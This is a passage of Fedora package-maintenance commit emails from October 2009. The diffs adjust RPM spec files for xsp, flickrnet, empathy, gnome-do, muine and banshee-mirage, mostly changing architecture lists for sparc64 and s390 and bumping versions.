 Name:     	xsp
 Version: 	2.4.2
-Release:	2%{?dist}
+Release:	3%{?dist}
 License:	MIT
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 URL:		http://mono.ximian.com/monobuild/preview/sources-preview/
@@ -10,7 +10,7 @@ BuildRequires:	mono-jscript, mono-data-o
 Requires:	mono-core >= 2.4.2
 Summary:	A small web server that hosts ASP.NET
 Group:		System Environment/Daemons
-ExclusiveArch: %ix86 x86_64 ppc ppc64 ia64 armv4l sparc alpha
+ExclusiveArch: %ix86 x86_64 ppc ppc64 ia64 armv4l sparc sparcv9 alpha s390 s390x
 
 %define debug_package %{nil}
 
@@ -96,6 +96,9 @@ rm -rf %{buildroot}
 %{_libdir}/xsp/test
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 2.4.2-3
+- enable sparcv9 s390 s390x
+
 * Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.4.2-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From ausil at fedoraproject.org  Mon Oct 26 18:35:44 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 18:35:44 +0000 (UTC)
Subject: rpms/xsp/devel xsp.spec,1.41,1.42
Message-ID: <20091026183544.CAF8B11C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/xsp/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv794

Modified Files:
	xsp.spec 
Log Message:
enable sparcv9 s390 s390x



Index: xsp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xsp/devel/xsp.spec,v
retrieving revision 1.41
retrieving revision 1.42
diff -u -p -r1.41 -r1.42
--- xsp.spec	4 Oct 2009 15:24:38 -0000	1.41
+++ xsp.spec	26 Oct 2009 18:35:44 -0000	1.42
@@ -1,16 +1,16 @@
 Name:     	xsp
-Version: 	2.6
-Release:	1%{?dist}
+Version: 	2.4.2
+Release:	3%{?dist}
 License:	MIT
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 URL:		http://mono.ximian.com/monobuild/preview/sources-preview/
 Source0:	%{name}-%{version}.tar.bz2
-BuildRequires:	mono-web-devel, mono-data, mono-devel >= 2.6, pkgconfig, autoconf automake mono-data-sqlite mono-nunit-devel
+BuildRequires:	mono-web-devel, mono-data, mono-devel >= 2.4.2, pkgconfig, autoconf automake mono-data-sqlite mono-nunit-devel
 BuildRequires:	mono-jscript, mono-data-oracle
-Requires:	mono-core >= 2.6
+Requires:	mono-core >= 2.4.2
 Summary:	A small web server that hosts ASP.NET
 Group:		System Environment/Daemons
-ExclusiveArch: %ix86 x86_64 ppc ppc64 ia64 armv4l sparc alpha
+ExclusiveArch: %ix86 x86_64 ppc ppc64 ia64 armv4l sparc sparcv9 alpha s390 s390x
 
 %define debug_package %{nil}
 
@@ -96,8 +96,11 @@ rm -rf %{buildroot}
 %{_libdir}/xsp/test
 
 %changelog
-* Sat Oct 03 2009 Paul F. Johnson <paul at all-the-johnsons.co.uk> 2.6-1
-- Bump to 2.6 preview 1
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 2.4.2-3
+- enable sparcv9 s390 s390x
+
+* Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.4.2-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 
 * Tue Jun 09 2009 Paul F. Johnson <paul at all-the-johnsons.co.uk> 2.4.2-1
 - Update to 2.4.2 preview



From spot at fedoraproject.org  Mon Oct 26 18:37:02 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Mon, 26 Oct 2009 18:37:02 +0000 (UTC)
Subject: rpms/tetex-perltex/F-12 sources,1.4,1.5 tetex-perltex.spec,1.7,1.8
Message-ID: <20091026183702.C7F8711C0264@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/tetex-perltex/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1253/F-12

Modified Files:
	sources tetex-perltex.spec 
Log Message:
update to 1.9


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/tetex-perltex/F-12/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	8 Sep 2008 14:21:02 -0000	1.4
+++ sources	26 Oct 2009 18:37:02 -0000	1.5
@@ -1 +1 @@
-161f3ff6e88c53a7e8111bb2f3729c9f  perltex.zip
+44f038a085e3487be4cbc2b095382d5e  perltex.zip


Index: tetex-perltex.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tetex-perltex/F-12/tetex-perltex.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- tetex-perltex.spec	27 Jul 2009 05:49:50 -0000	1.7
+++ tetex-perltex.spec	26 Oct 2009 18:37:02 -0000	1.8
@@ -5,15 +5,15 @@
 %define texpkgdoc   %{_texmf}/doc/latex/%{texpkg}
 
 Name:           tetex-%{texpkg}
-Version:        1.7
-Release:        3%{?dist}
+Version:        1.9
+Release:        1%{?dist}
 Summary:        Define LaTeX macros in terms of Perl code
 
 Group:          Applications/Publishing
 License:        LPPL
 URL:            http://www.ctan.org/tex-archive/help/Catalogue/entries/perltex.html
 # DANTE generates CTAN packages zip archives on-the-fly.
-# Downloaded on Mon Sep 8 2008
+# Downloaded on Mon Oct 26 2009
 Source0:        ftp://ftp.dante.de/tex-archive/macros/latex/contrib/perltex.zip
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:      noarch
@@ -66,6 +66,9 @@ texhash >/dev/null 2>&1 || :
 
 
 %changelog
+* Mon Oct 26 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 1.9-1
+- update to 1.9
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.7-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From spot at fedoraproject.org  Mon Oct 26 18:37:02 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Mon, 26 Oct 2009 18:37:02 +0000 (UTC)
Subject: rpms/tetex-perltex/devel sources, 1.4, 1.5 tetex-perltex.spec, 1.7,
	1.8
Message-ID: <20091026183702.F407B11C0264@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/tetex-perltex/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1253/devel

Modified Files:
	sources tetex-perltex.spec 
Log Message:
update to 1.9


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/tetex-perltex/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	8 Sep 2008 14:21:02 -0000	1.4
+++ sources	26 Oct 2009 18:37:02 -0000	1.5
@@ -1 +1 @@
-161f3ff6e88c53a7e8111bb2f3729c9f  perltex.zip
+44f038a085e3487be4cbc2b095382d5e  perltex.zip


Index: tetex-perltex.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tetex-perltex/devel/tetex-perltex.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- tetex-perltex.spec	27 Jul 2009 05:49:50 -0000	1.7
+++ tetex-perltex.spec	26 Oct 2009 18:37:02 -0000	1.8
@@ -5,15 +5,15 @@
 %define texpkgdoc   %{_texmf}/doc/latex/%{texpkg}
 
 Name:           tetex-%{texpkg}
-Version:        1.7
-Release:        3%{?dist}
+Version:        1.9
+Release:        1%{?dist}
 Summary:        Define LaTeX macros in terms of Perl code
 
 Group:          Applications/Publishing
 License:        LPPL
 URL:            http://www.ctan.org/tex-archive/help/Catalogue/entries/perltex.html
 # DANTE generates CTAN packages zip archives on-the-fly.
-# Downloaded on Mon Sep 8 2008
+# Downloaded on Mon Oct 26 2009
 Source0:        ftp://ftp.dante.de/tex-archive/macros/latex/contrib/perltex.zip
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:      noarch
@@ -66,6 +66,9 @@ texhash >/dev/null 2>&1 || :
 
 
 %changelog
+* Mon Oct 26 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 1.9-1
+- update to 1.9
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.7-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From ausil at fedoraproject.org  Mon Oct 26 18:38:02 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 18:38:02 +0000 (UTC)
Subject: rpms/flickrnet/F-12 flickrnet.spec,1.6,1.7
Message-ID: <20091026183802.ABF5911C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/flickrnet/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1690

Modified Files:
	flickrnet.spec 
Log Message:
enable sparcv9 s390 s390x



Index: flickrnet.spec
===================================================================
RCS file: /cvs/pkgs/rpms/flickrnet/F-12/flickrnet.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- flickrnet.spec	24 Jul 2009 22:53:55 -0000	1.6
+++ flickrnet.spec	26 Oct 2009 18:38:02 -0000	1.7
@@ -2,7 +2,7 @@
 
 Name:           flickrnet
 Version:        2.2
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        .NET library to interact with the Flickr API
 Group:          Development/Libraries
 License:        LGPLv2
@@ -14,7 +14,7 @@ Patch0:         assemblyinfo.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:  mono-devel
 
-ExclusiveArch: %ix86 x86_64 ppc ppc64 ia64 armv4l sparc alpha
+ExclusiveArch: %ix86 x86_64 ppc ppc64 ia64 armv4l sparcv9 alpha s390 s390x
 
 %description
 The Flickr.Net API is a .NET Library for interacting with the Flickr API. It 
@@ -63,6 +63,9 @@ rm -rf %{buildroot}
 %{_libdir}/pkgconfig/%{name}.pc
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 2.2-3
+- enable sparcv9 s390 s390x
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.2-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From ausil at fedoraproject.org  Mon Oct 26 18:39:06 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 18:39:06 +0000 (UTC)
Subject: rpms/flickrnet/devel flickrnet.spec,1.6,1.7
Message-ID: <20091026183906.EC40911C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/flickrnet/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2001

Modified Files:
	flickrnet.spec 
Log Message:
enable sparcv9 s390 s390x



Index: flickrnet.spec
===================================================================
RCS file: /cvs/pkgs/rpms/flickrnet/devel/flickrnet.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- flickrnet.spec	24 Jul 2009 22:53:55 -0000	1.6
+++ flickrnet.spec	26 Oct 2009 18:39:06 -0000	1.7
@@ -2,7 +2,7 @@
 
 Name:           flickrnet
 Version:        2.2
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        .NET library to interact with the Flickr API
 Group:          Development/Libraries
 License:        LGPLv2
@@ -14,7 +14,7 @@ Patch0:         assemblyinfo.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:  mono-devel
 
-ExclusiveArch: %ix86 x86_64 ppc ppc64 ia64 armv4l sparc alpha
+ExclusiveArch: %ix86 x86_64 ppc ppc64 ia64 armv4l sparcv9 alpha s390 s390x
 
 %description
 The Flickr.Net API is a .NET Library for interacting with the Flickr API. It 
@@ -63,6 +63,9 @@ rm -rf %{buildroot}
 %{_libdir}/pkgconfig/%{name}.pc
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 2.2-3
+- enable sparcv9 s390 s390x
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.2-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From bpepple at fedoraproject.org  Mon Oct 26 18:39:59 2009
From: bpepple at fedoraproject.org (Brian Pepple)
Date: Mon, 26 Oct 2009 18:39:59 +0000 (UTC)
Subject: rpms/empathy/F-12 .cvsignore, 1.41, 1.42 empathy.spec, 1.84,
	1.85 sources, 1.41,
	1.42 0001-dispatcher_request_handles_cb-use-request_data-dispa.patch, 
	1.1,
	NONE 0001-empathy-protocol-chooser-don-t-cache-TpConnectionMan.patch, 
	1.1,
	NONE 0002-empathy-chat-window-Don-t-update-the-Contact-menu-if.patch, 
	1.1,
	NONE 0003-Fix-crash-when-joining-a-chat-GTK_WIDGET_VISIBLE-is-.patch, 
	1.1, NONE
Message-ID: <20091026183959.B65BA11C0264@cvs1.fedora.phx.redhat.com>

Author: bpepple

Update of /cvs/pkgs/rpms/empathy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2406

Modified Files:
	.cvsignore empathy.spec sources 
Removed Files:
	0001-dispatcher_request_handles_cb-use-request_data-dispa.patch 
	0001-empathy-protocol-chooser-don-t-cache-TpConnectionMan.patch 
	0002-empathy-chat-window-Don-t-update-the-Contact-menu-if.patch 
	0003-Fix-crash-when-joining-a-chat-GTK_WIDGET_VISIBLE-is-.patch 
Log Message:
* Mon Oct 26 2009 Brian Pepple <bpepple at fedoraproject.org> - 2.28.1.1-1
- Update to 2.28.1.1.
- See http://download.gnome.org/sources/empathy/2.28/empathy-2.28.1.1.news



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/empathy/F-12/.cvsignore,v
retrieving revision 1.41
retrieving revision 1.42
diff -u -p -r1.41 -r1.42
--- .cvsignore	19 Oct 2009 23:17:58 -0000	1.41
+++ .cvsignore	26 Oct 2009 18:39:59 -0000	1.42
@@ -1 +1 @@
-empathy-2.28.1.tar.bz2
+empathy-2.28.1.1.tar.bz2


Index: empathy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/empathy/F-12/empathy.spec,v
retrieving revision 1.84
retrieving revision 1.85
diff -u -p -r1.84 -r1.85
--- empathy.spec	26 Oct 2009 15:46:10 -0000	1.84
+++ empathy.spec	26 Oct 2009 18:39:59 -0000	1.85
@@ -13,8 +13,8 @@
 %global libchamplain_version    0.4
 
 Name:		empathy
-Version:	2.28.1
-Release:	3%{?dist}
+Version:	2.28.1.1
+Release:	1%{?dist}
 Summary:	Instant Messaging Client for GNOME
 
 Group:		Applications/Communications
@@ -33,11 +33,6 @@ Patch1:		%{name}-broken-pkgconfig.patch
 # http://bugzilla.gnome.org/show_bug.cgi?id=592853
 Patch3:		presence-icons.patch
 Patch5:		%{name}-broken-nm.patch
-# upstream crash fixes
-Patch6: 0001-empathy-protocol-chooser-don-t-cache-TpConnectionMan.patch
-Patch7: 0002-empathy-chat-window-Don-t-update-the-Contact-menu-if.patch
-Patch8: 0003-Fix-crash-when-joining-a-chat-GTK_WIDGET_VISIBLE-is-.patch
-Patch9: 0001-dispatcher_request_handles_cb-use-request_data-dispa.patch
 
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -142,10 +137,6 @@ bindings to the libempathy and libempath
 %patch1 -p1 -b .pkgconfig
 %patch3 -p1 -b .presence-icons
 %patch5 -p1 -b .nm
-%patch6 -p1 -b .dont-cache-conman
-%patch7 -p1 -b .dont-update-contacts
-%patch8 -p1 -b .join-chat-crash
-%patch9 -p1 -b .room-typo-crash
 
 # force these to be regenerated
 rm data/empathy.desktop
@@ -254,6 +245,10 @@ fi
 %{python_sitearch}/empathy*.so
 
 %changelog
+* Mon Oct 26 2009 Brian Pepple <bpepple at fedoraproject.org> - 2.28.1.1-1
+- Update to 2.28.1.1.
+- See http://download.gnome.org/sources/empathy/2.28/empathy-2.28.1.1.news
+
 * Mon Oct 26 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.1-3
 - Another upstream crash fix
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/empathy/F-12/sources,v
retrieving revision 1.41
retrieving revision 1.42
diff -u -p -r1.41 -r1.42
--- sources	19 Oct 2009 23:17:58 -0000	1.41
+++ sources	26 Oct 2009 18:39:59 -0000	1.42
@@ -1 +1 @@
-021a05da920055d514cc51c4a538377f  empathy-2.28.1.tar.bz2
+e24600feffce66c3b494056f15efa653  empathy-2.28.1.1.tar.bz2


--- 0001-dispatcher_request_handles_cb-use-request_data-dispa.patch DELETED ---


--- 0001-empathy-protocol-chooser-don-t-cache-TpConnectionMan.patch DELETED ---


--- 0002-empathy-chat-window-Don-t-update-the-Contact-menu-if.patch DELETED ---


--- 0003-Fix-crash-when-joining-a-chat-GTK_WIDGET_VISIBLE-is-.patch DELETED ---



From ausil at fedoraproject.org  Mon Oct 26 18:41:19 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 18:41:19 +0000 (UTC)
Subject: rpms/gnome-do/F-12 gnome-do.spec,1.41,1.42
Message-ID: <20091026184119.439AC11C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/gnome-do/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3001

Modified Files:
	gnome-do.spec 
Log Message:
exlude sparc64



Index: gnome-do.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-do/F-12/gnome-do.spec,v
retrieving revision 1.41
retrieving revision 1.42
diff -u -p -r1.41 -r1.42
--- gnome-do.spec	24 Aug 2009 22:29:32 -0000	1.41
+++ gnome-do.spec	26 Oct 2009 18:41:19 -0000	1.42
@@ -3,7 +3,7 @@
 
 Name:			gnome-do
 Version:		0.8.2
-Release:		2%{?dist}
+Release:		3%{?dist}
 Summary:		Quick launch and search
 
 License:		GPLv3+
@@ -35,6 +35,8 @@ Requires:		mono(NDesk.DBus.GLib) = 1.0.0
 Requires:		gnome-keyring-sharp, gnome-desktop-sharp
 Requires:		pkgconfig
 
+ExcludeArch:            sparc64
+
 %description
 GNOME Do (Do) is an intelligent launcher tool that makes performing
 common tasks on your computer simple and efficient. Do not only allows
@@ -130,6 +132,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/*
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.8.2-3
+- Exclude sparc64  no mono available
+
 * Mon Aug 24 2009 Juan Rodriguez <nushio at fedoraproject.org> - 0.8.2-2
 - Fixes gnome-do plugin permissions. 
 



From pkgdb at fedoraproject.org  Mon Oct 26 18:41:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 18:41:30 +0000
Subject: [pkgdb] gcc had acl change status
Message-ID: <20091026184130.C16FF10F880@bastion2.fedora.phx.redhat.com>

jakub has set the watchcommits acl on gcc (Fedora 12) to Approved for jkratoch

To make changes to this package see:
  /pkgdb/packages/name/gcc



From ausil at fedoraproject.org  Mon Oct 26 18:42:02 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 18:42:02 +0000 (UTC)
Subject: rpms/gnome-do/devel gnome-do.spec,1.41,1.42
Message-ID: <20091026184202.1DAEF11C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/gnome-do/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3155

Modified Files:
	gnome-do.spec 
Log Message:
Exclude sparc64



Index: gnome-do.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-do/devel/gnome-do.spec,v
retrieving revision 1.41
retrieving revision 1.42
diff -u -p -r1.41 -r1.42
--- gnome-do.spec	24 Aug 2009 22:29:32 -0000	1.41
+++ gnome-do.spec	26 Oct 2009 18:42:01 -0000	1.42
@@ -3,7 +3,7 @@
 
 Name:			gnome-do
 Version:		0.8.2
-Release:		2%{?dist}
+Release:		3%{?dist}
 Summary:		Quick launch and search
 
 License:		GPLv3+
@@ -35,6 +35,8 @@ Requires:		mono(NDesk.DBus.GLib) = 1.0.0
 Requires:		gnome-keyring-sharp, gnome-desktop-sharp
 Requires:		pkgconfig
 
+ExcludeArch:            sparc64
+
 %description
 GNOME Do (Do) is an intelligent launcher tool that makes performing
 common tasks on your computer simple and efficient. Do not only allows
@@ -130,6 +132,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/*
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.8.2-3
+- Exclude sparc64  no mono available
+
 * Mon Aug 24 2009 Juan Rodriguez <nushio at fedoraproject.org> - 0.8.2-2
 - Fixes gnome-do plugin permissions. 
 



From ausil at fedoraproject.org  Mon Oct 26 18:47:18 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 18:47:18 +0000 (UTC)
Subject: rpms/muine/F-12 muine.spec,1.34,1.35
Message-ID: <20091026184718.2ECDA11C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/muine/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4242

Modified Files:
	muine.spec 
Log Message:
Exclude sparc64



Index: muine.spec
===================================================================
RCS file: /cvs/pkgs/rpms/muine/F-12/muine.spec,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- muine.spec	20 Sep 2009 23:56:55 -0000	1.34
+++ muine.spec	26 Oct 2009 18:47:17 -0000	1.35
@@ -1,6 +1,6 @@
 Name:           muine
 Version:        0.8.11
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        Music Player for GNOME
 
 Group:          Applications/Multimedia
@@ -28,6 +28,8 @@ Requires(post): GConf2, desktop-file-uti
 Requires(preun): GConf2
 Requires(postun): desktop-file-utils
 
+ExcludeArch:   sparc64
+
 %description
 Muine is a new music player for GNOME using some new UI ideas. 
 The idea is that it will be much easier and comfortable 
@@ -127,6 +129,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/muine/*.a
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.8.11-3
+- exclude sparc64  no mono
+
 * Sun Sep 20 2009 Sindre Pedersen Bj?rdal <sindrepb at fedoraproject.org> - 0.8.11-2
 - New upstream release, bugfixes including: 
 - Various deprecation cleanups



From ausil at fedoraproject.org  Mon Oct 26 18:48:14 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 18:48:14 +0000 (UTC)
Subject: rpms/muine/devel muine.spec,1.34,1.35
Message-ID: <20091026184814.A4C6B11C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/muine/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4437

Modified Files:
	muine.spec 
Log Message:
exclude sparc64



Index: muine.spec
===================================================================
RCS file: /cvs/pkgs/rpms/muine/devel/muine.spec,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- muine.spec	20 Sep 2009 23:56:55 -0000	1.34
+++ muine.spec	26 Oct 2009 18:48:14 -0000	1.35
@@ -1,6 +1,6 @@
 Name:           muine
 Version:        0.8.11
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        Music Player for GNOME
 
 Group:          Applications/Multimedia
@@ -28,6 +28,8 @@ Requires(post): GConf2, desktop-file-uti
 Requires(preun): GConf2
 Requires(postun): desktop-file-utils
 
+ExcludeArch:   sparc64
+
 %description
 Muine is a new music player for GNOME using some new UI ideas. 
 The idea is that it will be much easier and comfortable 
@@ -127,6 +129,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/muine/*.a
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.8.11-3
+- exclude sparc64  no mono
+
 * Sun Sep 20 2009 Sindre Pedersen Bj?rdal <sindrepb at fedoraproject.org> - 0.8.11-2
 - New upstream release, bugfixes including: 
 - Various deprecation cleanups



From ausil at fedoraproject.org  Mon Oct 26 18:51:05 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 18:51:05 +0000 (UTC)
Subject: rpms/banshee-mirage/F-12 banshee-mirage.spec,1.6,1.7
Message-ID: <20091026185105.16C7A11C02BB@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/banshee-mirage/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5340

Modified Files:
	banshee-mirage.spec 
Log Message:
exclude sparc64



Index: banshee-mirage.spec
===================================================================
RCS file: /cvs/pkgs/rpms/banshee-mirage/F-12/banshee-mirage.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- banshee-mirage.spec	24 Jul 2009 17:50:34 -0000	1.6
+++ banshee-mirage.spec	26 Oct 2009 18:51:02 -0000	1.7
@@ -2,7 +2,7 @@
 
 Name:		banshee-mirage
 Version:	0.5.0
-Release:	4%{?dist}
+Release:	5%{?dist}
 Summary:	An Automatic Playlist Generation Extension for Banshee
 Group:		Applications/Multimedia
 License:	GPLv2+
@@ -12,8 +12,7 @@ Patch0:		banshee-mirage-locales-conflict
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:	gettext-devel, glib2-devel, mono-devel, banshee-devel, banshee-musicbrainz-devel, fftw-devel, libsamplerate-devel, intltool, taglib-sharp-devel, mono-addins-devel, sqlite-devel, gstreamer-devel, gstreamer-plugins-base-devel, make, ndesk-dbus-glib-devel, ndesk-dbus-devel, gtk-sharp2-devel
 
-# Bug 241850 - no Mono on pp64
-ExclusiveArch: %ix86 x86_64 ppc ia64 armv4l sparc alpha
+ExcludeArch: sparc64
 
 %description
 An Automatic Playlist Generation Extension for Banshee
@@ -49,6 +48,9 @@ strip --strip-unneeded %{buildroot}/%{_l
 %{_libdir}/libmirageaudio.so
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.5.0-5
+- switch to ExcludeArch, excluding sparc64
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.5.0-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From ausil at fedoraproject.org  Mon Oct 26 18:52:06 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 18:52:06 +0000 (UTC)
Subject: rpms/banshee-mirage/devel banshee-mirage.spec,1.6,1.7
Message-ID: <20091026185206.EF77E11C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/banshee-mirage/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6548

Modified Files:
	banshee-mirage.spec 
Log Message:
exclude sparc64



Index: banshee-mirage.spec
===================================================================
RCS file: /cvs/pkgs/rpms/banshee-mirage/devel/banshee-mirage.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- banshee-mirage.spec	24 Jul 2009 17:50:34 -0000	1.6
+++ banshee-mirage.spec	26 Oct 2009 18:52:06 -0000	1.7
@@ -2,7 +2,7 @@
 
 Name:		banshee-mirage
 Version:	0.5.0
-Release:	4%{?dist}
+Release:	5%{?dist}
 Summary:	An Automatic Playlist Generation Extension for Banshee
 Group:		Applications/Multimedia
 License:	GPLv2+
@@ -12,8 +12,7 @@ Patch0:		banshee-mirage-locales-conflict
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:	gettext-devel, glib2-devel, mono-devel, banshee-devel, banshee-musicbrainz-devel, fftw-devel, libsamplerate-devel, intltool, taglib-sharp-devel, mono-addins-devel, sqlite-devel, gstreamer-devel, gstreamer-plugins-base-devel, make, ndesk-dbus-glib-devel, ndesk-dbus-devel, gtk-sharp2-devel
 
-# Bug 241850 - no Mono on pp64
-ExclusiveArch: %ix86 x86_64 ppc ia64 armv4l sparc alpha
+ExcludeArch: sparc64
 
 %description
 An Automatic Playlist Generation Extension for Banshee
@@ -49,6 +48,9 @@ strip --strip-unneeded %{buildroot}/%{_l
 %{_libdir}/libmirageaudio.so
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.5.0-5
+- switch to ExcludeArch, excluding sparc64
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.5.0-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From ausil at fedoraproject.org  Mon Oct 26 19:02:11 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 19:02:11 +0000 (UTC)
Subject: rpms/cdcollect/F-12 cdcollect.spec,1.7,1.8
Message-ID: <20091026190211.0BCC411C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/cdcollect/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10305

Modified Files:
	cdcollect.spec 
Log Message:
ExcludeArch sparc674



Index: cdcollect.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cdcollect/F-12/cdcollect.spec,v
retrieving revision 1.7
